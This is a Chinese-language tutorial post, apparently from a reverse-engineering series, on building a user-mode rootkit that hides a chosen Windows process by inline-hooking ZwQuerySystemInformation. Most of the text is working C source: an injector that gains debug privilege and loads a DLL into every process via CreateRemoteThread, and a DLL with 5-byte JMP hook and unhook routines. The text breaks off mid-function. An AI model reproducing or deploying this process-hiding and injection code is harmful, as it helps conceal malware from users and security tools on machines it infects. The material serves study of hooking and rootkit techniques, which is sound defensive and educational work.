概述:
经过上一篇文章对DLL注入实现API钩取的学习,现在已经对API钩取有了一个全局上的认知。对实现API钩取的几种方法都有了一定了解。本篇文章将分享有关于进程隐藏功能的代码实现。
本篇分享的源码总共有三个版本,分别是:stealth.dll stalth2.dll stealth3.dll,完成的功能都是进程隐藏,但是在功能的完整程度上是逐步完善的。
原理:
首先是关于什么叫做进程隐藏,其实进程隐藏顾名思义就是将某个进程隐藏起来,无法通过其他进程查看到这个进程。这样的一个过程就叫做进程隐藏,专业术语是Rootkit。而这个操作的根本原理就是通过API钩取来实现的。
在前面学习了对IAT中API进行钩取后,就会存在这样一个问题:如果我们需要钩取的目标API不存在与IAT表,那么应该怎么办?
这里就要使用API代码修改这个方法了。顾名思义,API代码修改就是将API函数的原始代码进行一定修改(也就是完成挂钩操作),使程序的执行流被劫持到我们自己编写的函数中实现我们期望的功能。
而这个挂钩操作具体的实现主要分为两类:
- 5字节钩取
- 7字节钩取
但是这两类挂钩操作的具体实现原理基本上是一致的,都是通过将原始API的起始流程修改为一个无条件跳转指令来控制程序的执行流。比如在5字节钩取时,就是将API函数的起始操作替换为JMP XXXXXXX,下面将会对这两种钩取方法分别用代码实现来表现。
寻找目标API:
由于进程是内核对象,所以在用户模式下的程序可以通过某些API检测到系统中的所有进程,根据前面的学习,可以知道常用的API主要有这两个:
- CreateToolhelp32Snapshot:获取系统快照,其中包含了所有的进程信息
- EnumProcess:枚举所有的进程信息
根据网上的信息,这两个API都在内部调用了一个叫做ZwQuerySystemInformation的API函数。而这个API函数就是此次操作的目标函数。
ZwQuerySystemInformation()可以获取运行中的所有进程信息(在Windows编程中被解释为一个结构体:_SYSTEM_PROCESS_INFORMATION),每个进程的结构体会形成一个单向链表,可以通过遍历这个链表来遍历系统中所有的进程信息。之后只需要查找到这个进程链表中需要隐藏的目标进程的相关信息就可以通过在链表中跳过这个成员的信息就可以达到“进程隐藏”的效果
HideProc.exe:
首先是注入程序的注释及源码:
#include "windows.h" #include "stdio.h" #include "tlhelp32.h" #include "tchar.h" enum Mode //定义一个枚举类型,分为注入和卸载两种情况 { INJECT_MODE = 0, EJECT_MODE }; typedef void(*PFSetProcName) (LPCTSTR lpProcName); //typedef一个void类型的函数指针,后面用于在本程序中调用SetProcName函数 BOOL EnableDebugPriv() //提权函数 { HANDLE hToken; LUID Luid; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { printf("OpenProcessToken failed!\n"); return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) { CloseHandle(hToken); printf("LookupPrivilegeValue failed!\n"); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = Luid; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) { printf("AdjustTokenPrivileges failed!"); CloseHandle(hToken); } else { printf("privilege get!\n"); return TRUE; } } BOOL inject(DWORD dwPID, LPCTSTR szDllPath) //注入函数 { HANDLE hProcess = NULL; HANDLE hThread = NULL; LPVOID lpRemoteBuf = NULL; DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; DWORD dwError = 0; if (!(hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) { dwError = GetLastError(); printf("OpenProcess failed!\n"); return FALSE; } lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存 WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数(即DLL路径) pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程 if (!hThread) { printf("CreateRemoteThread failed!\n"); CloseHandle(hProcess); return FALSE; } WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间 CloseHandle(hProcess); CloseHandle(hThread); return TRUE; } BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) //卸载DLL函数 { HANDLE hSnapshot = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; BOOL bMore = FALSE; BOOL bFound = FALSE; LPTHREAD_START_ROUTINE pThreadProc; MODULEENTRY32 me = {sizeof(MODULEENTRY32)}; if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) { printf("OpenProcess failed!\n"); return FALSE; } if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot failed!\n"); CloseHandle(hProcess); return FALSE; } bMore = Module32First(hSnapshot, &me); for (; bMore;bMore = Module32Next(hSnapshot, &me)) //遍历目标进程模块列表找到目标进程中是否载入了该DLL { if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath)) { bFound = TRUE; break; } } if (!bFound) { printf("Dll no found!\n"); CloseHandle(hProcess); CloseHandle(hSnapshot); return FALSE; } pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL); if (!hThread) { printf("Eject failed!\n"); CloseHandle(hProcess); CloseHandle(hThread); return FALSE; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hSnapshot); CloseHandle(hProcess); CloseHandle(hThread); return TRUE; } BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) //统括管理注入函数与卸载函数,完成在每一个进程中注入或是卸载DLL { DWORD dwPID = 0; HANDLE hSnapshot = NULL; PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; if (!(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL))) //拍摄所有进程的快照 { printf("CreateToolhelp32Snapshot failed!\n"); return FALSE; } Process32First(hSnapshot, &pe); do { dwPID = pe.th32ProcessID; if (dwPID < 100) //对于PID小于100的系统进程略过注入操作,防止系统安全性受影响 continue; if (nMode == INJECT_MODE) { if (!(inject(dwPID, szDllPath))) { printf("%d inject failed!\n", dwPID); } } else if (nMode == EJECT_MODE) { if (!Eject(dwPID, szDllPath)) { printf("%d Eject failed!\n", dwPID); } } } while (Process32Next(hSnapshot, &pe)); CloseHandle(hSnapshot); return TRUE; } int _tmain(int argc, TCHAR* argv[]) { int nMode = 0; HMODULE hModule = NULL; PFSetProcName SetProcName = NULL; EnableDebugPriv(); hModule = LoadLibrary(argv[3]); //加载stealth.dll SetProcName = (PFSetProcName)GetProcAddress(hModule, "SetProcName"); //从stealth.dll中获取SetProcName函数的真实地址 SetProcName(argv[2]); //在注入程序中调用SetProcName,将需要隐藏的目标进程的名字存入DLL文件的全局变量中 //在DLL中会设置共享内存区域,所以这里可以直接调用该函数设置目标进程的名字 if (!_wcsicmp(argv[1], L"hide")) { nMode = INJECT_MODE; InjectAllProcess(nMode, argv[3]); } else if(!_wcsicmp(argv[1],L"show")) { nMode = EJECT_MODE; InjectAllProcess(nMode, argv[3]); } FreeLibrary(hModule); return 0; }
程序的主要功能就是完成注入DLL和卸载DLL的操作。inject和Eject的操作在前面的文章中已经解析过了,这里只放源码就不在做过多赘述。
stealth.dll:
首先是源码和对应注释:
#include "windows.h" #include "tchar.h" #include "stdio.h" #define DLLNAME (L"ntdll.dll") #define FUNCNAME ("ZwQuerySystemInformation") #define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0 #pragma comment(linker,"/SECTION:.SHARE,RWS") #pragma data_seg(".SHARE") TCHAR g_szProcName[MAX_PATH] = { 0, }; //设置一个共享节区,与注入程序共享需要隐藏进程的名称字符串 #pragma data_seg() BYTE g_OrgBytes[5] = { 0, }; //全局变量用于存储目标API位置上的原始字节 //typedef LONG NTSTATUS; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明,后面会调用这个函数 (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); BOOL hook_code(LPCTSTR szDllName,LPCSTR szFuncName,PROC prNew,PBYTE pOrgbyte) //挂钩函数 { FARPROC prOrg = NULL; DWORD dwOldProtect = 0; DWORD dwAddress = 0; byte Buf[5] = { 0xE9,0, }; PBYTE pByte = NULL; prOrg = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName); //获取需要钩取的API的原始地址 pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用 if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程 return FALSE; VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限(因为JMP指令只有5个字节) memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节 dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置(JMP指令跳转的位置不是绝对地址,而是与当前位置的相对地址) //相对位置 = 目标位置 - 当前位置 - 指令长度(5字节) memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置 memcpy(prOrg, Buf, 5); //挂钩操作 VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限 return TRUE; } BOOL unhook_code(LPCTSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数 { FARPROC pFunc = NULL; DWORD dwOldProtect = 0; PBYTE pByte = NULL; pFunc = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址 pByte = (PBYTE)pFunc; if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态 return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pByte, pOrgbyte, 5); //脱钩操作 VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE; } NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { NTSTATUS status; FARPR